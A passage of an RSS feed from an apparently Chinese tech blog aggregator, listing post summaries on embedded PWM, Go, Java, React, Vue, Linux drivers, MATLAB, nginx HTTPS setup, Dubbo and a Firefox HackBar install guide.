目标的一种机制，可将来自应用程序代码的输入/输出请求传送至运行调试器的主机。 例如，使用此机制可以启用 C 库中的函数，如 printf() 和 scanf()，来使用主机的屏幕和键盘，而不是在目标系统上配备屏幕和键盘。</description>
    </item>
    <item>
      <title>STM32 Combined PWM的用法</title>
      <link>https://bchobby.github.io/posts/b51bed62a7adb8e3b142f8804c3f3485/</link>
      <pubDate>Mon, 24 Oct 2022 13:40:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b51bed62a7adb8e3b142f8804c3f3485/</guid>
      <description>PWM模式概念 PWM 模式1 - 向上计数， TIMx_CNT&amp;lt;TIMx_CCR1时有效，否则无效；&#xA;向下计数, TIMx_CNT&amp;gt;TIMx_CCR1 时无效，否则有效。&#xA;PWM 模式2 - 向上计数, TIMx_CNT&amp;lt;TIMx_CCR1 时无效，否则有效；&#xA;向下计数, TIMx_CNT&amp;gt;TIMx_CCR1有效，否则无效。&#xA;注意：上述有效表示OCxREF输出高电平，无效表示OCxREF输出低电平，OCxREF为内部信号，并不代表最终输出引脚的高低电平，引脚输出电平&#xA;由OCxREF的值根据CCxP极性的高低共同决定。&#xA;Combined PWM模式 1 - OC1REF 输出与 PWM 模式1相同。&#xA;OC1REFC 输出为 OC1REF 、OC2REF的逻辑或（OR）。&#xA;Combined PWM 模式 2 - OC1REF 输出与 PWM 模式2.相同。&#xA;OC1REFC输出为 OC1REF 、OC2REF的逻辑与（AND）。&#xA;应用示例 故事要从产生一组带有相移的PWM波,并且动态改变PWM脉宽和周期说起。&#xA;基于对前面描述的PWM1、PWM2、Combined PWM1和Combined PWM2的理解，下面示例演示Combined PWM2的实现方式。&#xA;假设使用TIM2的通道1和通道2，首先将TIM2配置为向上计数，通道1配置为PWM1，CCRX=2，即计数值到2时，OC2REF无效，输出低电平；通道2配置为Combined PWM2，CCRX=1，此时通道2 OC2REF与PWM2相同，即计数值小于1时无效，输出低电平。&#xA;COmbined PWM2 的输出OC2REFC为 OC1REF 和OC2REF的与操作，如下图所示：&#xA;引脚最终的输出由OC2REFC和极性定义决定，当极性定义为高电平时，引脚输出则为OC2REFC的值，从而实现特殊的PWM波。&#xA;COmbined PWM1于Combined PWM2相似，其OC2REFC为OC1REF 和OC2REF的或操作。&#xA;注意：Combined PWM模式相邻通道为（CH1、CH2）和（CH3、Ch4），且第一个通道为PWM1时，第二通道必须为Combined　PWM２，反之，第一个通道为PWM２时，第二个通道必须为CombinedＰＷＭ１。</description>
    </item>
    <item>
      <title>go语言调用同一个包下的函数出现问题</title>
      <link>https://bchobby.github.io/posts/8fed86f9732fa54f24c6ac2c315e144b/</link>
      <pubDate>Mon, 24 Oct 2022 12:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fed86f9732fa54f24c6ac2c315e144b/</guid>
      <description>出现undefined&#xA;编译有按file编译和package编译还有按directory编译&#xA;其中按file编译是一个file中只有一个main&#xA;按package编译是一个包下一个main，大部分人是因为一个包下多个main导致上面情况的&#xA;按directory就是一个目录一个main&#xA;上面的三种编译方式可以认为的进行修改&#xA;如果需要在同一个包下确保调用其它函数，那么就需要确保是按包编译的，还需要确保同一个包下只有一个main函数&#xA;那么上面个人情况是一个包中含有多个main函数，所以可以通过指令进行编译运行&#xA;进入所在包，使用go run 命令</description>
    </item>
    <item>
      <title>Java对象逃逸分析</title>
      <link>https://bchobby.github.io/posts/c9b4f92d18dee0621769da73732eabe5/</link>
      <pubDate>Mon, 24 Oct 2022 11:52:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9b4f92d18dee0621769da73732eabe5/</guid>
      <description>1. 概念 对象逃逸分析，是一种有效减少Java程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。通过逃逸分析，Java虚拟机能够分析出一个新的对象的引用范围从而决定是否要将这个对象分配到堆上。Java1.7后默认开启逃逸分析的选项。Java的JIT编译器，能够在方法重载或者动态加载代码的时候对代码进行逃逸分析，同时Java对象在堆上分配和内置线程的特点使得逃逸分析成Java的重要功能。&#xA;JIT技术：为了解决JVM执行字节码速度问题。引入JIT(即时编译)技术，当JVM发现某个方法或代码块运行的特别频繁的时候，就会认为这是&#34;热点代码&#34;，然后JIT会把部分热点代码翻译成本地机器相关的机器码，然后再把翻译后的机器码缓存起来，以备下次使用。&#xA;2. 逃逸分析主要就是分析对象的动态作用域 基于逃逸分析，一个对象可能会被用作三种逃逸状态标记：&#xA;全局级别逃逸：一个对象可能从一个方法或者当前线程中逃逸。再明确一点，如果一个对象被作为一个方法的返回值，那么对象被标记为全局逃逸状态。参数级别逃逸：如果一个对象被作为参数传递给一个方法，但是在这个方法之外无法访问或者对其他线程不可见，这个对象标记为参数级别逃逸。无逃逸状态：一个对象不会产生逃逸。 3. 逃逸分析的作用 通过逃逸分析，在不存在逃逸下JVM可以进行以下优化：&#xA;同步消除。线程同步本身比较耗时，如果确定一个变量不会逃逸出线程，无法被其他线程访问到，那么这个变量的读写就不会存在竞争，对这个变量的同步措施可以清除。将堆分配转为栈上分配：在一般应用中，不会逃逸的局部对象占比很大，如果使用栈上分配，那大量对象会随着方法结束而自动销毁，减轻垃圾回收系统压力。分离对象或标量替换：标量就是不可分割的量，java中基本数据类型，reference类型都是标量。相对的一个数据可以继续分解，它就是聚合量。如果把一个对象拆散，将其成员变量恢复到基本类型来访问就叫做标量替换。如果逃逸分析证明一个对象不会被外部访问，并且这个对象可以被拆散的话，那么程序真正执行的时候可能在栈上创建若干个成员变量。 4. 栈上分配对象 我们来看以下代码：&#xA;public static void main(String[] args) { long a1 = System.currentTimeMillis(); for (int i = 0; i &amp;lt; 1000000; i++) { alloc(); } // 查看执行时间 long a2 = System.currentTimeMillis(); System.out.println(&#34;cost &#34; + (a2 - a1) + &#34; ms&#34;); // 为了方便查看堆内存中对象个数，线程sleep try { Thread.sleep(100000); } catch (InterruptedException e1) { e1.printStackTrace(); } } private static void alloc() { User user = new User(); } static class User { } 我们在alloc方法中定义了User对象，但是并没有在方法外部引用他。也就是说，这个对象并不会逃逸到alloc外部。</description>
    </item>
    <item>
      <title>Windows android adb interface驱动安装失败 ADB interface驱动安装失败解决方法</title>
      <link>https://bchobby.github.io/posts/4fb6a8d3918bfe4865798f2ad2959f13/</link>
      <pubDate>Mon, 24 Oct 2022 10:56:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fb6a8d3918bfe4865798f2ad2959f13/</guid>
      <description>1.我们在Androidstudio进行APP真机调试时，经常会出现USB驱动安装成功，ADB Interface驱动安装失败，如下图所示：&#xA;2.选中“我的电脑”右击，选择“属性”，然后点击“设备管理器”；&#xA;3.进入设备管理器界面后，选择“ADB Interface”【有时“ADB Interface”和“HDB Interface”都要选择进行驱动更新才会生效】,右击选择“更新驱动程序软件”；&#xA;4.接着选择“浏览计算机以查找驱动程序软件”，然后选择“从计算机的设备驱动程序列表中选择”，点击下一步；&#xA;5.显示所有设备，点击下一步，选择从磁盘安装，点击下一步；&#xA;6.选择浏览，找到Android SDK中带有Adb Interface的驱动(android_winusb.inf)，打开，点击确定。&#xA;【其中驱动存放的位置为：D:\Android\SDK\extras\google\usb_driver\android_winusb.inf】&#xA;7.点击下一步，出现更新驱动程序警告，点击“是”；&#xA;8.ADB Interface驱动安装成功。&#xA;相关资源：中兴adb驱动安装错误解决办法_androidadbinterface驱动-Android...</description>
    </item>
    <item>
      <title>React Hooks 使用总结</title>
      <link>https://bchobby.github.io/posts/c4e786e147fccd3f755ea746d1bbe1f4/</link>
      <pubDate>Mon, 24 Oct 2022 10:51:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4e786e147fccd3f755ea746d1bbe1f4/</guid>
      <description>前言、Hooks 出现本质上原因是：&#xA;让函数组件也能做类组件的事，有自己的状态，可以处理一些副作用，能获取 ref ，也能做数据缓存。&#xA;解决逻辑复用难的问题。&#xA;放弃面向对象编程，拥抱函数式编程。&#xA;不同的 hooks 功能也是不同的，分成了 数据更新驱动，状态获取与传递，执行副作用，状态派生与保存，和工具类型。&#xA;一、 hooks 之数据更新驱动 1.useState const [ state , useState ] = useState(initData) ① state，目的提供给 UI ，作为渲染视图的数据源。&#xA;② useState 改变 state 的函数，可以理解为推动函数组件渲染的渲染函数。&#xA;③ initData 有两种情况，第一种情况是非函数，将作为 state 初始化的值。第二种情况是函数，函数的返回值作为 useState 初始化的值。&#xA;useState 基础用法：&#xA;const Demo = (props) =&amp;gt; { /* number为此时state读取值 ，setNumber为派发更新的函数 */ let [number, setNumber] = useState(0) /* 0为初始值 */ return ( &amp;lt;div&amp;gt; &amp;lt;span&amp;gt;{ number }&amp;lt;/span&amp;gt; &amp;lt;button onClick={ ()=&amp;gt; { setNumber(number+1) console.</description>
    </item>
    <item>
      <title>Vue3.0----基础入门(第一章)</title>
      <link>https://bchobby.github.io/posts/d3136329b40aa5695a0e2cab32b452fb/</link>
      <pubDate>Mon, 24 Oct 2022 10:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3136329b40aa5695a0e2cab32b452fb/</guid>
      <description>一、vue 简介 1. 什么是vue 官方给出的概念：Vue (读音/vjuː/，类似于view) 是一套用于构建用户界面的前端框架。&#xA;1.1 解读核心关键词：构建用户界面 前端开发者最主要的工作，就是为网站的使用者（又称为：网站的用户）构建出美观、舒适、好用的网页。&#xA;1.2 构建用户界面的传统方式 在传统的Web 前端开发中，是基于jQuery + 模板引擎的方式来构建用户界面的。&#xA;1.3 使用vue 构建用户界面 使用vue 构建用户界面，解决了jQuery + 模板引擎的诸多痛点，极大的提高了前端开发的效率和体验。&#xA;1.4 解读核心关键词：框架 官方给vue 的定位是前端框架，因为它提供了构建用户界面的一整套解决方案（俗称vue 全家桶）：&#xA;vue（核心库）vue-router（路由方案）vuex（状态管理方案）vue 组件库（快速搭建页面UI 效果的方案） 以及辅助vue 项目开发的一系列工具：&#xA;vue-cli（npm 全局包：一键生成工程化的vue 项目-基于webpack、大而全）vite（npm 全局包：一键生成工程化的vue 项目-小而巧）vue-devtools（浏览器插件：辅助调试的工具）vetur（vscode插件：提供语法高亮和智能提示） 1.5 总结：什么是vue vue 是一套用于构建用户界面的前端框架。&#xA;2. vue 的特性 vue 框架的特性，主要体现在如下两方面：&#xA;①数据驱动视图&#xA;②双向数据绑定&#xA;2.1 数据驱动视图 在使用了vue 的页面中，vue 会监听数据的变化，从而自动重新渲染页面的结构。示意图如下：&#xA;好处：当页面数据发生变化时，页面会自动重新渲染！&#xA;注意：数据驱动视图是单向的数据绑定。&#xA;2.2 双向数据绑定 在填写表单时，双向数据绑定可以辅助开发者在不操作DOM 的前提下，自动把用户填写的内容同步到数据源&#xA;中。示意图如下：&#xA;好处：开发者不再需要手动操作DOM 元素，来获取表单元素最新的值！&#xA;2.3 MVVM MVVM是vue 实现数据驱动视图和双向数据绑定的核心原理。它把每个HTML 页面都拆分成了如下三个部分：&#xA;在MVVM 概念中：</description>
    </item>
    <item>
      <title>arm驱动开发学习总结</title>
      <link>https://bchobby.github.io/posts/833c84bff17e539e2bac4d645c9838f7/</link>
      <pubDate>Mon, 24 Oct 2022 09:04:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/833c84bff17e539e2bac4d645c9838f7/</guid>
      <description>一：什么是驱动 驱动程序：就是对底层硬件设备的操作进行封装，并向上层提供函数接口。&#xA;Linux将驱动设备分为三类：字符设备、块设备、网络设备。&#xA;字符设备：只能一个字节一个字节的读写的设备，不能随机读取设备内存中的某一数据，读取数据需要按照先后顺序进行。字符设备是面向流的设备。&#xA;如鼠标、键盘、串口、控制台、LED等。&#xA;块设备：块设备驱动是以固定大小长度来传送和转移资料，块设备能够随机，不需要按照顺序地访问固定大小的数据片；&#xA;块设备包括硬盘、磁盘、U盘和SD卡等。&#xA;网络设备：网络设备主要负责主机之间的数据交换。&#xA;蓝牙，WIFI，网卡等。&#xA;二：字符设备驱动 1.字符设备是 Linux 驱动中最基本的一类设备驱动，字符设备就是一个一个字节，按照字节流进行读写操作的设备，读写数据是分先后顺序的。&#xA;2.因为，应用程序位于用户空间，驱动程序位于内核空间，用户空间不可以直接调用内核空间的函数。所以必须经过系统调用，应用程序才可以调用驱动程序的函数。&#xA;应用程序调用驱动程序过程： 1.应用程序： 2.应用程序里的open(),write(),read()函数将调用驱动程序里的接口里的函数。 如：应用程序里open（）调用接口结led_open();&#xA;2.应用和驱动之间的数据交换 (1)copy_from_user，用来将数据从用户空间复制到内核空间&#xA;(2)copy_to_user，用来将数据从内核空间复制到用户空间&#xA;3. 驱动程序结构： 驱动代码必须有4部分：&#xA;//1、头文件&#xA;#include &amp;lt;linux/init.h&amp;gt;&#xA;#include &amp;lt;linux/module.h&amp;gt;&#xA;//2、驱动入口函数的声明，在内核加载驱动时，执行哪个函数；在内核卸载驱动时，执行哪个函数&#xA;//声明：加载时的入口声明&#xA;module_init(hello_init);&#xA;//声明：卸载时的入口声明&#xA;module_exit(hello_exit);&#xA;//3、加载函数、卸载函数的实现&#xA;//加载函数的实现：当内核加载驱动（内核执行这个驱动时，就会调用的函数）&#xA;static int __init hello_init(void)&#xA;{&#xA;return 0;&#xA;}&#xA;//卸载函数的实现：当内核卸载驱动（内核删除这个驱动时，就会调用的函数）&#xA;static void __exit hello_exit(void)&#xA;{&#xA;return 0;&#xA;}&#xA;//4、协议选择GPL&#xA;MODULE_LICENSE(&#34;GPL&#34;);&#xA;4.makefile文件 KERNEL_PATH=/home/ubuntu/code/kernel/linux-3.14&#xA;obj-m += 1st_drv.o #把.c文件编译为.o文件&#xA;#编译为驱动程序 .ko 要借助 已经编译过的内核&#xA;all:&#xA;make modules -C $(KERNEL_PATH) M=$(shell pwd) #去执行kernel目录下的makefile</description>
    </item>
    <item>
      <title>算法学习———二叉树（Java版）</title>
      <link>https://bchobby.github.io/posts/7b699133667e0512d6e4389314cecb5b/</link>
      <pubDate>Sun, 23 Oct 2022 21:07:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b699133667e0512d6e4389314cecb5b/</guid>
      <description>本周leetcode刷题路线：&#xA;二叉树算法题常用方法：递归算法&#xA;递归算法基本思路：只考虑部分，不考虑整体；&#xA;101. 对称二叉树（简单）：&#xA;题目描述： 给你一个二叉树的根节点 root， 检查它是否轴对称。&#xA;示例：&#xA;输入：root = [1, 2, 2, 3, 4, 4, 3]&#xA;输出：true&#xA;解题思路：&#xA;检查该二叉树是否为对称二叉树，即检查该二叉树根节点的左子树翻转后是否与右子树相等（226. 翻转二叉树）。&#xA;将二叉树的左子树翻转后，将其每个节点与右子树对应位置的节点进行比较，只有当两个子树都能顺利递归到末尾时，该二叉树才是对称二叉树。&#xA;解题代码：&#xA;class Solution { Queue&amp;lt;TreeNode&amp;gt; queue = new LinkedList&amp;lt;&amp;gt;(); public boolean isSymmetric(TreeNode root) { func(root.left); return judge(root.left, root.right); } void func(TreeNode node){ if(node == null) return; TreeNode temp; temp = node.left; node.left = node.right; node.right = temp; func(node.right); func(node.left); } boolean judge(TreeNode node1, TreeNode node2){ if(node1 == null &amp;amp;&amp;amp; node2 !</description>
    </item>
    <item>
      <title>火狐浏览器hackbar安装使用教程</title>
      <link>https://bchobby.github.io/posts/adf7c57826c42117a81a4afa47113810/</link>
      <pubDate>Sun, 23 Oct 2022 20:37:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adf7c57826c42117a81a4afa47113810/</guid>
      <description>火狐浏览器hackbar安装使用教程 首先先打开火狐自带的扩展和主题&#xA;在搜索框中搜索hackbar&#xA;由于hackbar现在收费了，这里直接使用hackbarV2来进行平替。&#xA;接下来使用F12或者手动打开web开发者工具。&#xA;查看效果&#xA;使用的第一步就是先去点击load URL导入URL&#xA;通过在框里修改url，然后点击execute按钮进行运行&#xA;这里的诸多功能就不进行赘述了，自行在网上找教程。&#xA;这里说一下如何去使用POST来进行传参。&#xA;点击POST data，输入自己想要传参的数据。&#xA;然后点击execute就能进行交互。</description>
    </item>
    <item>
      <title>Matlab程序设计语言基础</title>
      <link>https://bchobby.github.io/posts/0af32ce69def8be450d0713656f9135a/</link>
      <pubDate>Sun, 23 Oct 2022 16:27:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0af32ce69def8be450d0713656f9135a/</guid>
      <description>2.1Matlab程序设计语言基础 1.若i和j不改写，它们将表示虚数的。但是在Matlab程序的设计过程中，经常使用i或者j作为循环的变量。如果涉及到虚数运算，应当先确认这两个量有没有被改写，如果被改写了，用i=sqrt(-1)来重置。&#xA;2.无穷大，在Matlab中用inf表示，负无穷大相应地用-inf表示。&#xA;3.NaN,指的是不定式（not a number,NaN)，通常由0/0运算、Inf/Inf及其他可能的运算得出。&#xA;4.pi，圆周率的双精度浮点表示。&#xA;2.1.2数据结构 1.数值型。Matlab中最常用的数值量是双精度的浮点数，占8个字节（64位），在matlab中其表示为double()。&#xA;2.符号型。Matlab中还定义了符号型变量，用来区别数值型变量，可以用于推导公式和数学解析求解。在进行解析运算之前要将采用的变量声明为符号变量，利用的命令是syms.具体用法是syms vars props，其中vars是需要声明的变量列表，可以同时生命多个变量，中间用空格分隔，而不是用逗号分隔开。如果需要，还可以进一步生命变量的类型：props，可以使用的类型由real、positive等。例如，将a、b定义为符号变量可以表达为：syms a b，假设要将a定义成实数，那就用syms a real&#xA;符号型数值可以通过变精度算法函数vpa()以任意指定的精度显示出来。该函数的调用格式为vpa(A),或vpa(A,n)，其中A是要显示的数值或者矩阵，n为指定的有效数字位数，前者以默认的十进制位数（32位）显示结果&#xA;例2-1.自然对数底e的前300位有效数字可以由下面的语句直接显示出来。代码中首先要把1转换成符号量。&#xA;如果没有把1转换成符号量，则结果如下：&#xA;说明如果没有把1转换成符号类型，虽然要求了提供前300位的解析解，但是程序做不到。&#xA;3.其他数据结构。&#xA;3.1字符串。Matlab支持字符串变量，与其他语言不同的是，matlab的字符串需要用单引号括起来。（这点跟Python有点像）&#xA;3.2多维数组。三维数组是一般矩阵的直接拓展。在控制系统的分析中也可以直接用于多变量系统的表示上。在实际编程中还可以使用维数更高的数组。&#xA;3.3单元数组。单元数组是矩阵的直接扩展，其存储格式类似于普通的矩阵，而矩阵的每个元素不是数值，可以认为能储存任意类型的信息，这样每个元素称为“单元”（cell)，例如A{i,j}可以表示单元数组A的第i行，第j列的内容。&#xA;3.4类与对象。后面再介绍，高阶内容。&#xA;2.1.3Matlab的基本语句结构 1.直接赋值语句&#xA;变量=值。例如考虑矩阵：&#xA;由下面的语句将值直接赋值给矩阵A&#xA;2.函数调用语句&#xA;基本形式：[返回变量列表]=函数名（输入变量列表），其中，函数名的要求和变量名的要求是一致的，一般函数名应该对应再MATLAB路径下的一个文件。&#xA;例如函数名为：my_fun应该对应于my_fun.m文件。还有一些函数名需对应于MATLAB的内核函数(built-n function)，如inv()等函数。&#xA;返回变量列表和输入变量列表均可以由若干个变量名组成，它们之间应该分别用逗号。返回变量还允许使用空格分隔，例如[U S V]=svd(X),这是对矩阵X进行SVD分解的函数，返回值是S,V,D这三个变量，如果不想返回某个变量，则可以用~符号占位。 2.1.4冒号表达式于子矩阵提取 这一部分很重要，因为控制系统中的运算除了少数简单的的纯代数运算，大部分都是矩阵运算。冒号表达式时MATLAB中很有用的表达式，在向量生成、子矩阵提取等很多方面极其重要。冒号表达式的原型为：v=s1:s2:s3，该函数将生成一个行向量v，其中s1时向量的起始值，s2为步距：该向量从s1出发，每隔步距s2就取一个点，直至不超过s3的最大值就可以构成一个向量。若省略s2，则步距默认取1.&#xA;例2-4选择不同的步距，则可以用下面语句在t∈[0,Π]区间去除一些点构成向量。&#xA;下面尝试冒号表达式的不同写法&#xA;很明显步距无法是负的，所以v2取出来是个空的向量。&#xA;如果省略了s2，程序会默认步距为1.&#xA;如果把上下限反过来写，步距写成-1，那么就会逆序排列构成新向量。 提取子矩阵是在MATLAB操作中非常容易用到的操作。提取子矩阵的具体方法是B=A(v1,v2)，其中，v1向量表示子矩阵要包含的行号构成的向量，v2表示要包含的列号构成的向量，这样从A矩阵中提取有关的行和列，就可以构成子矩阵B了。如果v1的地方用冒号占位，即B=A(:,v2)意思是要提取A矩阵所有的行。子矩阵提取通常配合关键字end使用，end用于表示最后一行/列。&#xA;例2-5 下面将列出若干命令，并加以解释。&#xA;提取矩阵A的奇数行和所有列。这里嵌套了冒号表达式，我们知道冒号表示的格式是，a=s1:s2:s3，其中s2为步距。那么在B1=A(1:2:end,:)中，逗号前的语句就是冒号表达式，即1:2:end，意思是，从第一行开始，以步距为2，取下一行，一直到行数的末尾。 这样就实现了奇数行的提取。而逗号之后是一个冒号，意思是所有的列都取。&#xA;取A矩阵的第3、2、1行和2、3、4列组成新矩阵B2&#xA;取A矩阵的所有行，列从第一列到最后一列反着排列组成新矩阵B3。实际上就是左右颠倒个儿。 2.2 基本数学运算 2.2.1矩阵代数运算 如果一个矩阵A有n行、m列元素，则称A矩阵为nxm矩阵；若n=m则矩阵为仿真。&#xA;1.矩阵转置&#xA;矩阵转置记作,其元素定义为，故B为mxn矩阵。如果A矩阵含有复数元素，则对之转置时，其转置矩阵B的元素定义为，即先对各个元素进行转置，然后再逐项求取其共轭复数值。这种转置又称为Hermit转置，其数学符号是。MATLAB中用可以求出A矩阵的Hermit转置，矩阵的转置则可以由求出。&#xA;2.加减法&#xA;假设再MATLAB环境下有两个矩阵A和B，则可以由和命令取执行矩阵加减法。若A和B的矩阵维数相同，它将会自动地将A和B矩阵对应元素相加减，从而得到正确的结果，并赋值给C变量。若二者之一为标量，则应该将其遍加（减）于两一个矩阵。在其他情况下，MATLAB将自动地给出错误信息，提示用户两个矩阵的维数不匹配。&#xA;3.矩阵乘法&#xA;4.矩阵的左右除&#xA;MATLAB中用“\&#34;和&#34;/&#34;分别表示矩阵的左除和右除，A\B为方程的解，为方程的解。若A为非奇异方阵，则左除和右除分别为和&#xA;5.矩阵翻转&#xA;矩阵A进行左右翻转再赋值给B：B=fliplr(A)，而C=flipud(A)是指把矩阵A上下翻转再赋值给C，D=rot90(A)是将矩阵A逆时针旋转90度再赋值给D&#xA;6.矩阵乘方&#xA;矩阵乘方要求A必须是方阵，代码为F=A^x，其中x可以是整数、分数、无理数和复数。&#xA;7.点运算&#xA;MATLAB中的特殊运算。两个矩阵之间的点运算是它们对应元素的直接运算。例如表示A和B的相应元素之间直接进行点乘运算，然后将结果赋值给C矩阵，即。这种点乘运算又称为Hadamard乘积。注意，点乘积要求A和B矩阵的维数相同或其一为标量。这种运算和普通乘法不同。&#xA;点运算在MATLAB中起到很重要的作用。例如，当x是一个向量时，则求取数值时不能直接写成x^5，而必须写成x.^5。在进行矩阵的点运算时，同样要求运算的两个矩阵是维度一致的。其实一些特殊的函数，例如sin()也是由点运算的形式进行的，因为它要对矩阵的每个元素求取正弦值。&#xA;矩阵点运算不仅可以用于点乘积，还可以用于其他。例如进行A.^A运算，则新的矩阵元素为</description>
    </item>
    <item>
      <title>BoxInst配置及训练</title>
      <link>https://bchobby.github.io/posts/9660df81767e722ab98d323dca727243/</link>
      <pubDate>Sun, 23 Oct 2022 15:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9660df81767e722ab98d323dca727243/</guid>
      <description>BoxInst安装 使用BoxInst需要先安装AdelaiDet，AdelaiDet是一个运行在Detectron2基础上的工具箱，可以实现以下多个算法：&#xA;FCOS，BlendMask，MEInst，ABCNet，ABCNetv2，CondInst，SOLO，SOLOv2，BoxInst，DenseCL，FCPose，DirectPose&#xA;github地址：https://github.com/aim-uofa/AdelaiDet&#xA;requirement linux or macOS with Python &amp;gt;= 3.7&#xA;pytorch &amp;gt;= 1.8 (最好是1.8.1，1.10以上的会出一点bug，很怪，最后也没解决掉)&#xA;Opencv&#xA;gcc&amp;amp;g++ &amp;gt;= 5.4&#xA;sudo apt-get install gcc ninja&#xA;Build detectron2 from source git clone https://github.com/facebookresearch/detectron2.git python -m pip install -e detectron2 如果安装出了bug，需要重新安装，使用指令 rm -rf build/ **/*.so清除掉旧的build文件，然后重新安装&#xA;如果重新安装的pytorch，也需要对detectron2进行重新安装。&#xA;Install AdelaiDet git clone https://github.com/aim-uofa/AdelaiDet.git cd AdelaiDet python setup.py build develop 可能会出的bug：&#xA;这一步基本上没啥bug出现，很常见的一个bug，就是&#xA;AdelaiDet/adet/layers/csrc/ml_nms/ml_nms.cu:4:10: fatal error: THC/THC.h: No such file or directory 4 | #include &amp;lt;THC/THC.</description>
    </item>
    <item>
      <title>《运维》三、解析二级域名和配置https证书(运维4)</title>
      <link>https://bchobby.github.io/posts/d877dcda6188694eac03171e794acdb3/</link>
      <pubDate>Sun, 23 Oct 2022 09:30:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d877dcda6188694eac03171e794acdb3/</guid>
      <description>解析二级域名和配置https证书 一、解析二级域名(DNS 解析 DNSPod) 1、打开腾讯云/阿里云&#xA;2、找到 云解析 -&amp;gt; 域名解析列表 -&amp;gt; 点击要解析域名的解析操作&#xA;3、点击添加记录&#xA;比如原来主域名为mywebsite.com，子域名名字填写abc&#xA;4、ping abc.mywebsite.com 测试是否添加子域名成功&#xA;二、配置https证书 1、打开腾讯云/阿里云2、找到 ssl证书 -&amp;gt; 证书管理 -&amp;gt; 申请免费证书3、通用名字可写abc.mywebsite.com4、选中 自动DNS验证5、下载ssl证书后放到云服务器上某个路径6、/etc/nginx/conf.d/ 目录下新增一个nginx的conf配置，如xxx.conf配置中，开启ssl并指定证书的路径// 完整配置 server { 5 listen 443 ssl; 6 server_name abc.mywebsite.com; 7 8 root /data/www/abc; 9 index index.php index.html index.htm; 10 11 access_log /var/log/nginx/access_it.log main; 12 13 ssl on; 14 ssl_certificate /abc/httpscer/Nginx/1_abc.mywebsite.com_bundle.crt; 15 ssl_certificate_key /envirsqy/httpscer/Nginx/2_abc.mywebsite.com.key; 16 ssl_session_timeout 5m; 17 ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 18 ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!</description>
    </item>
    <item>
      <title>Dubbo经典之作(Dubbo使用详解)</title>
      <link>https://bchobby.github.io/posts/6dd09d11801ca9547c8bc6b7fae8103a/</link>
      <pubDate>Sun, 23 Oct 2022 00:40:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dd09d11801ca9547c8bc6b7fae8103a/</guid>
      <description>认识Dubbo Apache Dubbo 是一款 RPC 服务开发框架，用于解决微服务架构下的服务治理与通信问题，官方提供了 Java、Golang 等多语言 SDK 实现。使用 Dubbo 开发的微服务原生具备相互之间的远程地址发现与通信能力， 利用 Dubbo 提供的丰富服务治理特性，可以实现诸如服务发现、负载均衡、流量调度等服务治理诉求。Dubbo 被设计为高度可扩展，用户可以方便的实现流量拦截、选址的各种定制逻辑。&#xA;Dubbo3 定义为面向云原生的下一代 RPC 服务框架。3.0 基于 Dubbo 2.x 演进而来，在保持原有核心功能特性的同时， Dubbo3 在易用性、超大规模微服务实践、云原生基础设施适配、安全性等几大方向上进行了全面升级。&#xA;Apache Dubbo 总体架构能很好的满足企业的大规模微服务实践，因为它从设计之初就是为了解决超大规模微服务集群实践问题，不论是阿里巴巴还是工商银行、中国平安、携程等社区用户，它们都通过多年的大规模生产环境流量对 Dubbo 的稳定性与性能进行了充分验证，因此，Dubbo 在解决业务落地与规模化实践方面有着无可比拟的优势：&#xA;开箱即用&#xA;易用性高，如 Java 版本的面向接口代理特性能实现本地透明调用&#xA;功能丰富，基于原生库或轻量扩展即可实现绝大多数的微服务治理能力面向超大规模微服务集群设计&#xA;极致性能，高性能的 RPC 通信协议设计与实现&#xA;横向可扩展，轻松支持百万规模集群实例的地址发现与流量治理高度可扩展&#xA;调用过程中对流量及协议的拦截扩展，如 Filter、Router、LB 等&#xA;微服务治理组件扩展，如 Registry、Config Center、Metadata Center 等企业级微服务治理能力&#xA;国内公有云厂商支持的事实标准服务框架&#xA;多年企业实践经验考验，参考用户实践案例 Dubbo 基本工作流程 分布式系统 分布式系统是若干独立计算机的集合，是建立在网络之上的软件系统，在一个分布式系统中，一组独立的计算机展现给用户的是一个统一的整体，因此，我们可以将应用拆分几个核心的业务，通过分布式部署，集群构成一个分布式系统，对于用户来说，用户是感觉不到系统的分布性。&#xA;分布式系统特征 (1)分布性。分布式系统由多台计算机组成，它们在地域上是分散的，可以散布在一个单位、一个城市、一个国家，甚至全球范围内。整个系统的功能是分散在各个节点上实现的，因而分布式系统具有数据处理的分布性。(2)自治性。分布式系统中的各个节点都包含自己的处理机和内存，各自具有独立的处理数据的功能。通常，彼此在地位上是平等的，无主次之分，既能自治地进行工作，又能利用共享的通信线路来传送信息，协调任务处理。(3)并行性。一个大的任务可以划分为若干个子任务，分别在不同的主机上执行。(4)全局性。分布式系统中必须存在一个单一的、全局的进程通信机制，使得任何一个进程都能与其他进程通信，并且不区分本地通信与远程通信。同时，还应当有全局的保护机制。系统中所有机器上有统一的系统调用集合，它们必须适应分布式的环境。在所有CPU上运行同样的内核，使协调工作更加容易。 RPC 框架 RPC【Remote Procedure Call】是指远程过程调用，是一种进程间通信方式，他是一种技术的思想，而不是规范。它允许程序调用另一个地址空间（通常是共享网络的另一台机器上）的过程或函数，编写的调用代码基本相同。&#xA;Dubbo工作流程 Dubbo 首先是一款 RPC 框架，它定义了自己的 RPC 通信协议与编程方式。如上图所示，用户在使用 Dubbo 时首先需要定义好 Dubbo 服务；其次，是在将 Dubbo 服务部署上线之后，依赖 Dubbo 的应用层通信协议实现数据交换，Dubbo 所传输的数据都要经过序列化。</description>
    </item>
    <item>
      <title>百问网七天物联网课程笔记（第六天）</title>
      <link>https://bchobby.github.io/posts/c994b418d967bdf8048ee20b4acf2642/</link>
      <pubDate>Sat, 22 Oct 2022 23:10:21 +0800</pubDate>
